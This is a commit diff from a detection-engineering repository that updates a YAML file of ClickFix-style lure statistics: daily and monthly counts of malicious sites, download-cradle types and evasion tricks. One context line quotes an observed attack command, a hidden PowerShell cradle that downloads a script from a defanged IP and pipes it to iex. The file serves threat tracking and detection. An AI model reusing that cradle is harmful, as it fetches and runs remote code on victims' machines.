admin/iimp0ster-detection-chokepoints
1
0
Fork 0
mirror of https://github.com/iimp0ster/detection-chokepoints synced 2026-08-09 12:41:00 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #156 from iimp0ster/data/clickgrab-auto

Browse Source 
chore: update clickgrab trends data [2026-07-13]
This commit is contained in:
iimp0ster
2026-07-16 18:11:16 -06:00
committed by GitHub
parent 674a599733 dd90b12a34
commit 532d42311e
1 changed files with 315 additions and 30 deletions
Download Patch File Download Diff File Expand all files Collapse all files
_data/clickgrab_trends.yml
+315 -30
View File
@@ -4,17 +4,17 @@
meta:
source: https://mhaggis.github.io/ClickGrab/
date_range: 2025-04-17 to 2026-06-29
total_reports: 534
total_sites_crawled: 25607
total_malicious: 22214
date_range: 2025-04-17 to 2026-07-13
total_reports: 548
total_sites_crawled: 26969
total_malicious: 22772
total_domains: 3321
generated: '2026-06-29'
appended_through: '2026-06-29'
carson_landscape: 3636
carson_updated: '2026-06-29T06:31:01Z'
carson_lure_overlap: 61
carson_lure_observed: 92
generated: '2026-07-13'
appended_through: '2026-07-13'
carson_landscape: 3736
carson_updated: '2026-07-09T04:00:44Z'
carson_lure_overlap: 64
carson_lure_observed: 96
domain_source: clickfix-domains-all-2026-06-16.xlsx
domain_updated: '2026-06-16'
daily:
@@ -4772,6 +4772,272 @@ daily:
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-06-30'
total_sites: 100
malicious: 36
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 0
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 0
start_sleep: 0
hidden_window: 2
- date: '2026-07-01'
total_sites: 100
malicious: 43
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 2
curl: 2
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 2
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-07-02'
total_sites: 100
malicious: 42
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 2
curl: 2
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-07-03'
total_sites: 100
malicious: 36
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 0
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 0
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 0
start_sleep: 0
hidden_window: 2
- date: '2026-07-04'
total_sites: 100
malicious: 42
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 2
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 0
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-07-05'
total_sites: 100
malicious: 40
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 2
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-07-06'
total_sites: 100
malicious: 43
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 2
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-07-07'
total_sites: 100
malicious: 42
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 2
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-07-08'
total_sites: 100
malicious: 42
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 2
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 2
start_sleep: 2
hidden_window: 4
- date: '2026-07-09'
total_sites: 62
malicious: 26
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 0
curl: 2
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 2
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 0
start_sleep: 0
hidden_window: 2
- date: '2026-07-10'
total_sites: 100
malicious: 38
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 1
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 1
start_sleep: 1
hidden_window: 3
- date: '2026-07-11'
total_sites: 100
malicious: 40
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 1
curl: 1
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 0
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 1
start_sleep: 1
hidden_window: 3
- date: '2026-07-12'
total_sites: 100
malicious: 44
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 3
curl: 2
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 2
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 3
start_sleep: 3
hidden_window: 5
- date: '2026-07-13'
total_sites: 100
malicious: 44
cradles:
iwr_iex: 3
irm_iex: 0
webclient: 3
curl: 2
msiexec: 0
vbs_wscript: 1
hex_xor: 0
inline_no_url: 1
evasion:
mixed_case: 0
base64: 1
cdn_staging: 1
self_delete: 3
start_sleep: 3
hidden_window: 5
payload_examples:
iwr_iex:
- date: '2025-08-14'
@@ -4814,22 +5080,22 @@ payload_examples:
- date: '2025-10-31'
text: cmd.exe /c start /min powershell -w hidden -nop -c "(New-Object Net.WebClient).DownloadString('hxxps://95[.]164[.]53[.]214/b.ps1') | iex"
cradles_total:
iwr_iex: 2227
iwr_iex: 2269
irm_iex: 89
webclient: 1012
curl: 1418
webclient: 1034
curl: 1437
msiexec: 1027
vbs_wscript: 373
vbs_wscript: 387
hex_xor: 70
inline_no_url: 691
inline_no_url: 705
evasion_totals:
mixed_case: 1697
base64: 10463
cdn_staging: 450
self_delete: 995
start_sleep: 995
hidden_window: 3459
inline_payload: 691
base64: 10477
cdn_staging: 464
self_delete: 1017
start_sleep: 1017
hidden_window: 3509
inline_payload: 705
domain_monthly:
- month: 2025-08
n: 135
@@ -5411,24 +5677,43 @@ monthly:
start_sleep: 46
hidden_window: 70
- month: 2026-06
total_sites: 2900
malicious: 1196
total_sites: 3000
malicious: 1232
cradles:
iwr_iex: 80
iwr_iex: 83
irm_iex: 0
webclient: 83
curl: 25
curl: 26
msiexec: 0
vbs_wscript: 28
vbs_wscript: 29
hex_xor: 0
inline_no_url: 32
inline_no_url: 33
evasion:
mixed_case: 0
base64: 27
cdn_staging: 27
base64: 28
cdn_staging: 28
self_delete: 83
start_sleep: 83
hidden_window: 137
hidden_window: 139
- month: 2026-07
total_sites: 1262
malicious: 522
cradles:
iwr_iex: 39
irm_iex: 0
webclient: 22
curl: 18
msiexec: 0
vbs_wscript: 13
hex_xor: 0
inline_no_url: 13
evasion:
mixed_case: 0
base64: 13
cdn_staging: 13
self_delete: 22
start_sleep: 22
hidden_window: 48
domain_cradles_total:
iwr: 187
irm: 146